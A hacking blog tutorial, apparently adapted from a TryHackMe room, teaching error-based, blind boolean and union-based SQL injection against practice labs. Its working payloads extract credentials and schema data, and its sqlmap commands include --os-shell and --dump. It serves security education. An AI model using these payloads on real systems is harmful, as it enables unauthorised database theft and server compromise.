-->

  • Learn to perform SQLi attacks

     

     

    Learn to perform SQLi attacks

     

     

    SQL Injection


    Learn to perform SQLi attacks in the most effective way!

     

    Introduction & Mindset


    Hello there!

    In this lecture, we are going to explore manual and automatic ways to achieve SQL Injection (SQLi).

     

     

    Picture credit: geekflare.com

     

     

     

    Nowadays, SQLi attacks have become rarer due to rising awareness towards them. Happily, this does not change the fact that there are still a lot of vulnerable web apps that can be exploited using SQLi.

    For practice, you'll need your own Kali Linux machine with default toolset. Burpsuite and sqlmap are mandatory.
    (It's better for you to be familiar with these beforehand)


    I'll try to make theory as detailed as possible, but I would still encourage you to do research on your own and read more upon completing the following tasks. This way you are more likely to understand all the material and will be successful with continuing on your own ;)




    Unit 2 - Basics of SQL language


    Important definitions

    As seen from Wikipedia,


    "A database is an organized collection of data, generally stored and accessed electronically from a computer system." There a lot of different database types such as MySQL, PostgreSQL, and so on.

    SQL by itself is a domain-specific language used in programming for managing databases by reading operating data.




    SQL Crash Course


    In order to understand SQLi, we first need to understand some basics of the SQL language. As far, as SQLi goes, we mainly focus on getting information from the database, this room will give you a basis for that.

    In SQL, in order to choose some data, we use SELECT, FROM, and WHERE. As you might have guessed SELECT allows us to select an object from (FROM) database and choose a specific data using WHERE.



    For example, if we have a database called colors and we want to select all colors from the list, we would use this syntax::



    SELECT * FROM colors;



    Or if you have a database food with different meals followed by calories you could choose all meals with more than 50 calories:



    SELECT * FROM food WHERE calories > 50;


    All in all, if you want a better understanding of SQL I would recommend going through this small interactive course on khanacademy.






     

    Unit 3 - What is SQLi


    A SQL injection attack consists of the injection of a SQL query to the remote web application.

    A successful SQL injection exploit can read sensitive data from the database (usernames & passwords), modify database data (Add/Delete), execute administration operations on the database (such as shutdown the database), and in some cases execute commands on the operating system.


    SQLi injections put server confidentiality under serious risk and can allow bypassing authentication processes or even get access to high-privilege accounts.


    Let’s take a look at this simple PHP input function:



     


     

     

    If we look at the $username variable, under normal operation we might expect the username parameter to be a real username. The function takes a username and chooses data related to it in the users database.


    A malicious user (hacker or pentester) might submit some different kinds of data. For example, what happened if we input '? (Single quote)

    The application would crash because the resulting SQL query is incorrect.





     

    As you see here, inputted " ' " simply creates triple " ' " and produces an error. This error can in fact output some sensitive information or simply give a clue about database structure.




    This will produce a different scenario. 1=1 is treated as true in SQL language and therefore will return us every single row in the table.


    '-- will also do a job here. This payload transforms a username to an empty string to break out of the query and then adds a comment (--) that hides the second single quote making the database return data. We will discuss this more in-depth in Unit 5.





    Unit 4 - How to detect SQLi?


    Manual - PHP parameter


    As we saw in the previous unit, SQL injection is carried out by entering a malicious input to hijack an SQL query. The most common example is abusing a PHP GET parameter (for example $username, or $id) in the URL of a vulnerable web page. Those are usually located in the search fields and login pages, so as a penetration tester, you need to note those down.


    So, now after you got all the PHP GET parameters and login pages you can actually proceed to detecting SQLi. Similarly to the previous unit, we want to cause a certain error displaying at least a small error message (which can even disclose some information, like a database type).


    Let's try that by using SQLi Labs.

    so, as you can see that...browse to hackingtruth.lab/sqli-labs/Less-1/



     


     

    As a hint, it's asking us to "Input the ID as parameter with numeric value" (exactly the PHP GET parameter we are looking for).



    hackingtruth.lab/sqli-labs/Less-1/index.php?id=1



    Giving 1 as id value outputs a standard username and password, but that's not something we are looking for. Let's input apostrophe instead of 1.


    hackingtruth.lab/sqli-labs/Less-1/index.php?id='

     

     


     

     

    Vola! We were able to create an error, therefore, exposing that the id parameter is vulnerable to SQLi! We also were able to see that the error message exposed the database type - MySQL. 

     

     



    Fixing the Query

     


    We need to now fix our query so that we can get rid of the error and pass our malicious SQL query to the database this is done one of two ways, either we comment out the rest of the query or we add some extra characters to the unbalanced query to balance it out.


    In our example, we are going to comment out the rest of the query this can be done using any of these values…



    -- Double Dash
     # Hash
     /*  */ Forward Slash, Star,Star, Forward Slash

     
     

    because we are not directly interacting with the database and instead we are interacting with the web front end and that front end is actually creating the query to interact with the backend so there are some constraints.

    one of the constraints is that when we use — (double dash) to comment out the rest of the query we need to provide an extra space after the double dash. If you don’t it will not fix the query.

    So if we go back to our SQL labs lesson 1 and just add — to the end of our query you will see that we still get an error.


    http://hackingtruth.lab/sqli/Less-1/?id=1'--




    This shows that the comments have not worked as intended, due to not having the space at the end of the double dash also you will get the same error if you actually do a space after the double dash because we are entering it in the URL address bar and you cant have spaces at the end of an address. To get around this you have to URL encode the space for it to work, this for space is %20 try this on your query and you will notice this is now fixed.



    http://hackingtruth.lab/sqli/Less-1/?id=1'--%20






    The same goes for the # (Hash) this will not work until you URL encode the hash and add it to the end of your query. The #(Hash) URL encoded is %23 and this will give you the same output as above.




    http://hackingtruth.lab/sqli/Less-1/?id=1'%23



    So basically all we are doing is commenting out anything after the single quote which closes the string then, in turn, allows us to enter SQL commands which SQL will then run against the database.


    '  '1' -- ' LIMIT 0,1'


    Just to recap any of the values below can be used to comment out and fix your query.


    -- Double Dash is URL encoded as --%20
    --+ Injection This is the same as above but the + on the end just means a space.
    # Hash is URL encoded as %23
    -- - Double Dash space Dash SQL comment
    ;%00 Nullbyte
    ` Backtick





    Find the Number of Columns


    Now we have broken the query and fixed it we are now ready to find out how many columns the Backend database has, This is done by using the order by statement and incrementing the number until you get an error. Start by adding order by 1 to the query as below.


    http://hackingtruth.lab/sqli/Less-1/?id=1′ order by 1–+


    Keep incrementing the number after the order by statement until you get an error


    http://hackingtruth.lab/sqli/Less-1/?id=1′ order by 2–+ ( no error)
    http://hackingtruth.lab/sqli/Less-1/?id=1′ order by 3–+ (no error)
    http://hackingtruth.lab/sqli/Less-1/?id=1′ order by 4–+ (error)





    Find which Columns are Vulnerable


    To find which columns are vulnerable, we have to use a union all select statement with the number of columns we found in the previous section.



    http://hackingtruth.lab/sqli/Less-1/?id=1' union all select 1,2,3--+



    Notice nothing really changes on our test lab as we need to make the statement false to find the vulnerable columns, to do this we have to write something after the = sign which is not in our database



    http://hackingtruth.lab/sqli/Less-1/?id=–1′ union all select 1,2,3–+




    http://hackingtruth.lab/sqli/Less-1/?id=.1' union all select 1,2,3--+
    http://hackingtruth.lab/sqli/Less-1/?id=hempstutorials1' union all select 1,2,3--+
    http://hackingtruth.lab/sqli/Less-1/?id=-lol-1' union all select 1,2,3--+


    As you can see you can write anything after the = sign to get the same result as long as it’s not in the database.

    Let’s just make sure these columns are vulnerable by adding some extra characters this shows that we are able to manipulate what these columns display.



    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,222,333--+









    Find SQL Version & Database Name


    We can now use our vulnerable columns to find out some juicy information like which Version of SQL the server is running and the name of the database

    To find out the SQL version, we just need to add version() to one of the vulnerable columns like this…


    http://hackingtruth.lab/sqli/Less-1/?id=-lol-1′ union all select 1,version(),333–+





    This tells us we are running SQL 5.7.15 and Ubuntu 0.16.04.1 which, if you followed my tutorial on setting up a vulnerable LAMP server we know in my SQL Labs that I have installed Linux Mint which is based on ubuntu.

    The reason we need to know the version of SQL is that SQL version 4 is very different in the way you do SQL Injections compared to SQL Version 5.  In SQL version 4 you have to guess the table names compared to Version 5 where you manipulate the INFORMATION_SCHEMA to spit out the names of the tables.

    Next to find out the name of the database add database() to the either of the two columns.




    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,version(),database()--+




    As you can see, I have used column 3 which now displays the name of the database as security.





    Finding Tables


    Now its time to display what tables are in our database called Security. We do this by adding a group_concat command in one of the vulnerable columns that query’s the information _schema and spits out the table names on the website.



    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+


     

     

     


     



    After you get the names of the tables, it’s time to start extracting the data from these tables. In this example, we will go after the users table as this is where you usually find all the juicy usernames and passwords.



     


    Extract the columns


    We extract the columns by adding column_name in between the brackets of our group_concat command and changing the information_schema to look at the columns.


    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+


     

     




     


     

     

     

     

    Dumping Columns


    Now we select what columns we want to dump from our table. For this example, I’m looking for the id, username and password  columns from the users table. To do this we add id,username,password inside the brackets of our group_concat command, then tell it which table we want to dump the data from.


    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,group_concat(id,username,password),3 from users--+




     


     

     


    So this displays all the usernames and passwords from the users table, the problem is this is not very easy to read.


     

    Formatting the Output



    We can make this more pleasing to read by adding HEX encoded characters and HTML tags to our query.

    The easiest way to do this is by using the HEX Encoding function in the Hackbar firefox addon.

    So say we want to add  colons : between our id, username and password. First open up the Hackbar (F9 if you have it installed but it is not showing) type a : (colon) into the hackbar, highlight it and select



    Encoding -->HEX Encoding --> String to 00ff00ff

     


     

     

     
    This will convert the colon : into a 3a, then add 0x to the front of this and it now can be added to our query like below… Which will add a colon between each username and password it displays .

     



    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,group_concat(id,username,0x3a,password),3 from users--+



    Also try adding a double colon :: after the id in our query. A double colon encodes to 3a3a using the Hackbar, add 0x to the front of that and we get 0x3a3a which we can add after id



    http://hackingtruth.lab/sqli/Less-1/?id=-1' union all select 1,group_concat(id,0x3a3a,username,0x3a,password),3 from users--+



     

     


     

     




    0x3a = :
    0x3a3a= ::




    you can also encode HTML tags to format the text, in this example I will use a line break <br> to list the output with one line for each record.

    <br> HTML tag encodes with the hackbar to 3c62723e add 0x to  the front of this to get 0x3c62723e and add it before the id in our query.




    http://hackingtruth.lab/sqli-labs/Less-1/index.php?id=' union all select 1,group_concat(0x3c62723e,id,0x3a3a,username,0x3a,password),3 from users--+







     

    <br> = 0x3c62723e  (a line break)



    You can even encode a string using this same process for example HempsTutorials encodes to 48656d70735475746f7269616c7320 add 0x to the front of this and add 0x48656d70735475746f7269616c7320 to the other vulnerable column we are not using. which once processed will display HempsTutorials in our output.





    http://hackingtruth.lab/sqli-labs/Less-1/index.php?id=-1' union all select 1,group_concat(0x3c62723e,id,0x3a3a,username,0x3a,password),

    0x48656d70735475746f7269616c7320 from users--+









    Automatic - Damn Small SQLi Scanner


    Github: https://github.com/stamparm/DSSS

    Quick install: git clone https://github.com/stamparm/DSSS.git && cd DSSS/


    Damn Small SQLi Scanner is an awesome little python script that allows us to check for SQLi vulnerability. Simply provide it with a link to the PHP parameter to run it.


    Main syntax: python3 dsss.py -u "LINK"


    Let's try it on our SQLi labs!

    Simply run the script against hackingtruth.lab/sqli-labs/Less-1/index.php?id= and see what happens.





     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.lab]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.lab]
    └─$ git clone https://github.com/stamparm/DSSS.git && cd DSSS/
    Cloning into 'DSSS'...
    remote: Enumerating objects: 366, done.
    remote: Counting objects: 100% (9/9), done.
    remote: Compressing objects: 100% (7/7), done.
    remote: Total 366 (delta 2), reused 8 (delta 2), pack-reused 357
    Receiving objects: 100% (366/366), 66.01 KiB | 472.00 KiB/s, done.
    Resolving deltas: 100% (120/120), done.
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.lab/DSSS]
    └─$ 
    
    
    

     

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.lab/DSSS]
    └─$ python3 dsss.py -u "http://hackingtruth.lab/sqli-labs/Less-1/index.php?id="                                                 130 ⨯
    Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3b
     by: Miroslav Stampar (@stamparm)
    
    * scanning GET parameter 'id'
     (i) GET parameter 'id' appears to be error SQLi vulnerable (MySQL)
     (i) GET parameter 'id' appears to be blind SQLi vulnerable (e.g.: 'http://hackingtruth.lab/sqli-labs/Less-1/index.php?id=1%27%20AND%2070%3D70--%20-')
    
    scan results: possible vulnerabilities found
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.lab/DSSS]
    └─$ 
    
    
    

     

     

     

    Oh wow! It did not only detect the vulnerability but provided us with the database type and suggested possible exploitation types.
    That is definitely a good tool and I highly recommend using it!




    Automatic - suIP.biz

    Link: https://suip.biz/?act=sqlmap



    This is an online sqlmap powered tool that allows you to perform a fast SQLi check. Unfortunately, we cannot run it against our machine but this tool can be really handy in the real-world tests

    Note: If really want to test this (or some other SQLi tools) with SQLi labs, it is possible to host the labs on Heroku or any other server provider (find an installation link in Unit 9).



     




    Unit 5 - Error Based SQLi


    Definition


    Error-based SQLi is a SQL Injection technique that relies on error messages which are used to retrieve any sensitive information. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database.



    Approach


    So, as seen from the definition, we actually want to create a SQL error, displaying some sensitive content. As you might have seen in Unit 4, we were able to get the database type by creating an error. Now we need to go beyond that and get something more interesting.

    Of course, to make your life easier, at this point you would actually fuzz the SQL vulnerable link with a wordlist and most likely get the desired result. But for the purpose of this room, we are going to actually see how manually develop the payload using the understanding of SQL language. I have linked some useful payload lists and blogs in Unit 9 so you can practice fuzzing.


    Manual exploitation - SQLi Labs Lesson 1


    Browse to lesson 1 on the sqli labs machine and include the id=1 parameter just like we did in the previous unit.


     


     

     



    When we put the id parameter as some value, we instantly get a Login name and password. Let's think of that in terms of SQL language.

    This id parameter is attached to a certain username (login name) and password which are being chosen from the database.



    This how it would look in terms of SQL language:

    select login_name, password from table where id=




    See, just by looking at the basic output, we were able to retrieve some common SQL patterns. Now, as a part of error-based SQLi, we can exploit it.



    Note here: Try inputting something other than numbers and see what happens. Also, try inputting some big numbers. Think about it and ask yourself if it tells us about anything.

    Now try inputting 1' as the id parameter and let's analyze the error closely.



    syntax to use near ''1'' LIMIT 0,1' at line 1


    We can see that the web app is producing an error due to four single quotes around the 1


    As in Unit 3, we can understand that error as 'one extra' single quote which cannot be recognized by the system.




    What do I mean by that? Well, in this case when the application is taking the id input, it is putting it between two single quotes like so:

    ' 1 '


    But when we input 1' we produce this scenario:

    ' 1' '

    We are, in a way, closing the first single quote, at the same time creating the third. This, later on, makes the system automatically close the third one, displaying syntax to use near ''1''error.

    If you are still a bit confused about this, let's take a bit different approach.
    Try inputting 1\ as the id value. This also produces an error with '1\', clearly showing that the id value is placed between single quotes.

    What we can do about it?
    Well, if we can close the single quotes that easily, it means that we are able to break out of the query and provide custom commands.

    If you try putting AND 1=1 (which corresponds to true) after the single quote, we still get this error.
     

    In order to get around that, we need to fix the query back. It's done by commenting out the rest by using -- and providing + as the blank space at the end.
    The URI should look like this


    hackingtruth.lab/sqli-labs/Less-1/index.php?id=1' AND 1=1 --+


     

     

     


     

     

    Wonderful! The web application is displaying us content even though we injected some custom SQL code which should not be available for us.


     

     


     

     

     

    So, to sum up, in error-based SQLi injection, we first, need to find a link or input form where we can create an error. Then, by inputting random things like single and double quotes, slashes, and backslashes we need to understand the common pattern and figure out the basic structure of SQL query. After that simply abuse your acquired knowledge to exploit the app and get what you wanted.



    A small payload collection can be found here:

    https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads

     
     

     



    Unit 6 - Boolean based SQLi


    Definition


    Boolean-based SQL Injection relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query gave a TRUE or FALSE result. Depending on the result, the content of the HTTP response will change, or remain the same (Change in HTTP response usually stands for a FALSE response, while TRUE does not affect anything). This allows an attacker to understand if the payload used returned true or false, even though no data from the database is returned.




    Approach


    The boolean based sqli is usually carried out in a blind situation. Blind, in this case, means that there's no actual output and that we cannot see any error message (like we did previously).



    Blind query breaking - SQLi Labs Lesson 8



    Browse to 10.10.13.253/sqli-labs/Less-8/?id= and let's take a look.
    Inputting single or a double quote doesn't produce any result, same as slashes. This gives us the idea of the blindness of our sql injection (or even absence of vulnerability at all). In this situation, we'll have to practically guess the query and exploit the database right away.



    Make the id parameter equal to 1. We now see a message:
    You are in...........



    Now, let's blindly assume that the same as in the previous unit, putting 1' as the id value would produce some error.


    hackingtruth.lab/sqli-labs/Less-8/?id=1'



    And it did! We didn't see the error message but the message disappeared meaning that we were actually able to produce some sort of error. Now, fix the query by putting --+


    hackingtruth.lab/sqli-labs/Less-8/?id=1' --+



    Wonderful! The message is back. See what happened here, even though we are not able to see any SQL output, by making some simple assumption we were able to find a similar pattern as in the previous unit.


    But the difference is that boolean sqli relies on the concept of True-False relation. Let's see how it works here. 


    Put OR 1 in the link like so: 10.10.13.253/sqli-labs/Less-8/?id=1' OR 1 --+, representing the True value. 


    We still see the message.


    Putting OR 0 won't logically display the message directly proving our ability to perform an SQL injection attack




    Exploitation


    Well, now as we can only return True (You are in...........) or False (no message) statements, we need to start playing the game of yes-no with the database. By asking 'questions' about the database length and table quantity we can dump and enumerate the database.


    At this point, it is important to understand that in SQL language we can actually use =, <, > to compare the values.

    Try putting different comparison values in your link


    hackingtruth.lab/sqli-labs/Less-8/?id=1' OR 1 < 2 --+ = True


    or


    hackingtruth.lab/sqli-labs/Less-8/?id=1' OR 1 > 2 --+ = False

    This comparison can be actually helpful for us in asking those 'questions'.



    For this particular room let's try to get the database's name using blind sql injection.


    In sql language, there's a really useful function called SUBSTR() which extracts a substring from a string (starting at any position).
    It takes 3 input values:
    1. Operated text (in our case database name)
    2. Character to start with
    3. Number of characters to extract



    For example, running SELECT SUBSTR("Strange Fox", 5, 3) will return us nge.




    Then, our SQLi payload would look like that:


    AND (substr((select database()),1,1)) - this will return us the first character of the database name.



    Now, what we need to do is literally guess the character by trying to compare that payload to some letters.
    Theoretically, the payload would look like that



    1' substr((select database()),1,1)) = s --+




    Happily for us, there's a way to avoid using characters and actually speed things up (instead of fuzzing the whole alphabet). If we add ascii() function before the payload, we'll be able to compare it to ascii character values.


    hackingtruth.lab/sqli-labs/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+



    This will once again return us You are in........... because s letter corresponds to 115 in ASCII.


    Of course, in the real world we cannot simply guess that so we need to use > and < operators to compare the value of the characters to their ASCII values.



    Now try guessing the second letter using the comparison technique.




    Hint:

    hackingtruth.lab/sqli-labs/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) < 115 --+

     

     

    HACKING TRUTH
    Provided by COMPARITECH

     



    Unit 7 - Union Based SQLi

    Definition

    Union-based SQLi is a SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.


    Approach


    The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query. For example:


    SELECT 1, 2 FROM usernames UNION SELECT 1, 2 FROM passwords


    This SQL query will return a single result taken from 2 columns: first and second positions from usernames and passwords.


    UNION SQLi attack consists of 3 stages:

    1. You need to determine the number of columns you can retrieve.
    2. You make sure that the columns you found are in a suitable format
    3. Attack and get some interesting data.

    > Determining the number of columns required in an SQL injection UNION attack



    There are exactly two ways to detect one:

    The first one involves injecting a series of ORDER BY queries until an error occurs. For example:


    ' ORDER BY 1--
    ' ORDER BY 2--
    ' ORDER BY 3--
    # and so on until an error occurs



    (The last value before the error would indicate the number of columns.)



    The second one (most effective in my opinion), would involve submitting a series of UNION SELECT payloads with a number of NULL values:


    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    ' UNION SELECT NULL,NULL,NULL--
    # until the error occurs



    No error = number of NULL matches the number of columns.


    > Finding columns with a useful data type in an SQL injection UNION attack


    Generally, the interesting data that you want to retrieve will be in string form. Having already determined the number of required columns, (for example 4) you can probe each column to test whether it can hold string data by replacing one of the UNION SELECT payloads with a string value. In case of 4 you would submit:



    ' UNION SELECT 'a',NULL,NULL,NULL--
    ' UNION SELECT NULL,'a',NULL,NULL--
    ' UNION SELECT NULL,NULL,'a',NULL--
    ' UNION SELECT NULL,NULL,NULL,'a'--



     



    No error = data type is useful for us (string).

    > Using an SQL injection UNION attack to retrieve interesting data

    When you have determined the number of columns and found which columns can hold string data, you can finally start retrieving interesting data.


    Suppose that:

    * The first two steps showed exactly two existing columns with the useful datatype.
    * The database contains a table called users with the columns username and password.
        (This can be figured out by using the boolean technique from Unit 6)


    In this situation, you can retrieve the contents of the user's table by submitting the input:



    ' UNION SELECT username, password FROM users --



     


    First, i browse to hackintruth.lab:3000/resetdb.php to set up the database.
     
     
    Then, go to hackingtruth.lab:3000/register.php and register a new account. Make sure you input something interesting, as you'll be able to interact with that data later on! (Question 4)


    Now let's proceed to the main objective - exploiting the web app. A vulnerable search field is located at
     
    hackingtruth.lab:3000/searchproducts.php










    Let's start our exploitation process!

    As you might remember, we, first, need to determine the number of available columns by inputting a series of
    ' UNION SELECT NULL -- into the search field.


    To spice things up, I've configured the database to also throw an error when having a -- at the end. To bypass that, we need to include an additional comment after the --. You can use either // or /* do bypass that configuration.


     

     


     

     

     

    As you can see on the screenshot above, a single NULL value causes an error, meaning that there are more columns. Try inputting NULL values until you finally get the number. Note it down to answer the questions later on.

    Now, try inputting 'a' instead of random NULL values and see if there's an error. An error will indicate that the given column format is not suitable for us and cannot be exploited.


    NULL,NULL,NULL,'a' -- //

     

     



     


    Finally, we can start getting some valuable information. Simply replace some null values with SQL keywords to get information about the database.
    Here's a small list of thing you'd want to retrieve:
    1. database()
    2. user()
    3. @@version
    4. username
    5. password
    6. table_name
    7. column_name


    Let's try this

    1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -

     

     


     

     

    ' UNION SELECT * FROM users -- //

     

     


     

     

     

    Now, next step is to extract some more information from the database, and Union query is a great way of doing that.

    I supply, whoiskumaratul' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--


    which gives me no. of exact columns. As we can see, the no. of NULLs above is 8 so the table has 8 nos of columns. Anything less than 8 don't produce any error and anything above than 8 produces error. So, that way we can determine that the no. of columns are 8. Another way of doing that is executing  ' ORDER BY query.

    Start by 'ORDER BY 1 till you get error and the no. before you get error is no. of the columns. So, supplying 'ORDER BY 9 gave error, so the no. is 8.

     

     


     

     

     


    Next step is to know the datatype of the columns. The query

    ' UNION SELECT 'a',NULL,NULL,NULL,NULL,NULL,NULL,NULL--  



    which gives me error as 'conversion failed....data type int' so the first column is int. Similarly we can keep trying to replace each NULL in above query to know the datatypes of each column. Another example,


    ' UNION SELECT NULL,'a',NULL,NULL,NULL,NULL,NULL,NULL--  


    doesn't produce any error, so string datatype, so- forth, so-on.



    Now more queries can be executed:


    ' UNION SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL--                /*version info*/

     

    ' UNION SELECT database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL--                /*version info*/

     

    ' UNION SELECT user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL--                /*version info*/

     

    ' union select null, id, username, password, fname from users -- //

     

     


     

     

     


    Automating exploitation


    SQLmap

    Project link: http://sqlmap.org/
    Github: https://github.com/sqlmapproject/sqlmap


    sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.


    sqlmap is truly an awesome tool that can be extremely handy for us. Even though it is not allowed to use it during the OSCP exam, nothing restricts us from using it for our pen-tests and tryhackme rooms.


    Quick install:

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

    Print out the help page by running sqlmap --help and can take a closer look.






     



    Pure sqlmap

    Table of the most important switches

     

     

     

     

    Settings Enumeration OS interaction Additional
    --url (-u)

    Set the target URL
    --dump

    --dump-all

    Dump (retrieve) DBMS database
    --os-shell

    Prompt for an interactive operating system shell
    --batch

    Never ask for user input, use the default behavior
    --dbms

    Provide back-end DBMS to exploit (i.e MySQL, PostgreSQL)
    --passwords

    Enumerate DBMS users password hashes
    --os-pwn

    Prompt for an OOB shell, Meterpreter or VNC
    --wizard

    Simple wizard interface for beginner users
    --level=LEVEL

    Level of tests to perform (1-5)

    --risk=RISK

    Risk of tests to perform (1-3)
    --all

    Retrieve everything
       

     

     

     

     

     

     
    Command examples:

    https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet


    All-in-one cheat sheet:


    https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/



    Now, when we are a bit more familiar with sqlmap let's practice using it.
    Go back to sqli labs lesson 1 and input the link to sqlmap.


    sqlmap --url "hackingtruth.lab/sqli-labs/Less-1/index.php?id=" --batch



     


    Oh wow! sqlmap has fetched all information for us! DB type, possible injection type, and even got us OS information.

    Now go ahead and play around with the tool, try dumping the database, or simply enumerating it.



    Burpsuite + sqlmap


    sqlmap has a really awesome feature that allows us to automatically process and exploit requests taken from Burpsuite.

    Go ahead and configure burp suite to work properly. (If you are not sure how to use Burpsuite, take a step back and see this article )

     

     

     

     


     

    HERE - CLICK HERE

     

     


     

     


    Check that you have caught a request similar to the screenshot above.
    Right-click on the request and choose 'Save item'. Now when we have a saved request let's go ahead and connect sqlmap here.


    Go to the request location (where you saved it) and open up a terminal.

    type sqlmap -r {request} --batch (replace {request} with your file name).





     

     

     
    We got the same output as before! See how easy it actually was.
    As a piece of advice, I'd definitely use the request feature when SQL injecting login pages as sqlmap automatically check all possible parameters (username, password).



    1) How would you get an OS shell on website "hackingtruth.lab/login.php"? (URL switch comes first)

    Ans :- sqlmap -u "sqli.thm/login.php" --os-shell




    2) What about listing all databases on the same website? (URL switch comes first)

    Ans :- sqlmap -u "sqli.thm/login.php" --dbs


     

     

    https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet


    All-in-one cheat sheet:

     
    https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/


     

    Unit 9 - Resources & What's next?


    Congratulations! we have successfully gone through the major part of SQLi. Now, with all that knowledge it won't take long for you to pick up on small tricks and tactics by reading and researching more. I have attached a some further SQLi resources for you to explore. Enjoy!


    Good luck with your studies!


     

    Payload Lists:

    1. https://github.com/payloadbox/sql-injection-payload-list
    2. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection



     

     

    Guides & Blogs:

    1. https://www.sqlinjection.net/
    2. http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
    3. https://github.com/trietptm/SQL-Injection-Payloads
    4. https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet
    5. https://resources.infosecinstitute.com/dumping-a-database-using-sql-injection/
    (Special thanks to TheMayor for linking the last one)


     

     

    Labs and practice:

    1. https://portswigger.net/web-security/sql-injection
    2. https://github.com/Audi-1/sqli-labs
    3. https://github.com/appsecco/sqlinjection-training-app
    4. https://tryhackme.com/room/gamezone
    5. https://tryhackme.com/room/avengers
    6. https://tryhackme.com/room/uopeasy
    7. https://tryhackme.com/room/jurassicpark




     


    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

     

  • 0 comments:

    Post a Comment

    For Any Tech Updates, Hacking News, Internet, Computer, Technology and related to IT Field Articles Follow Our Blog.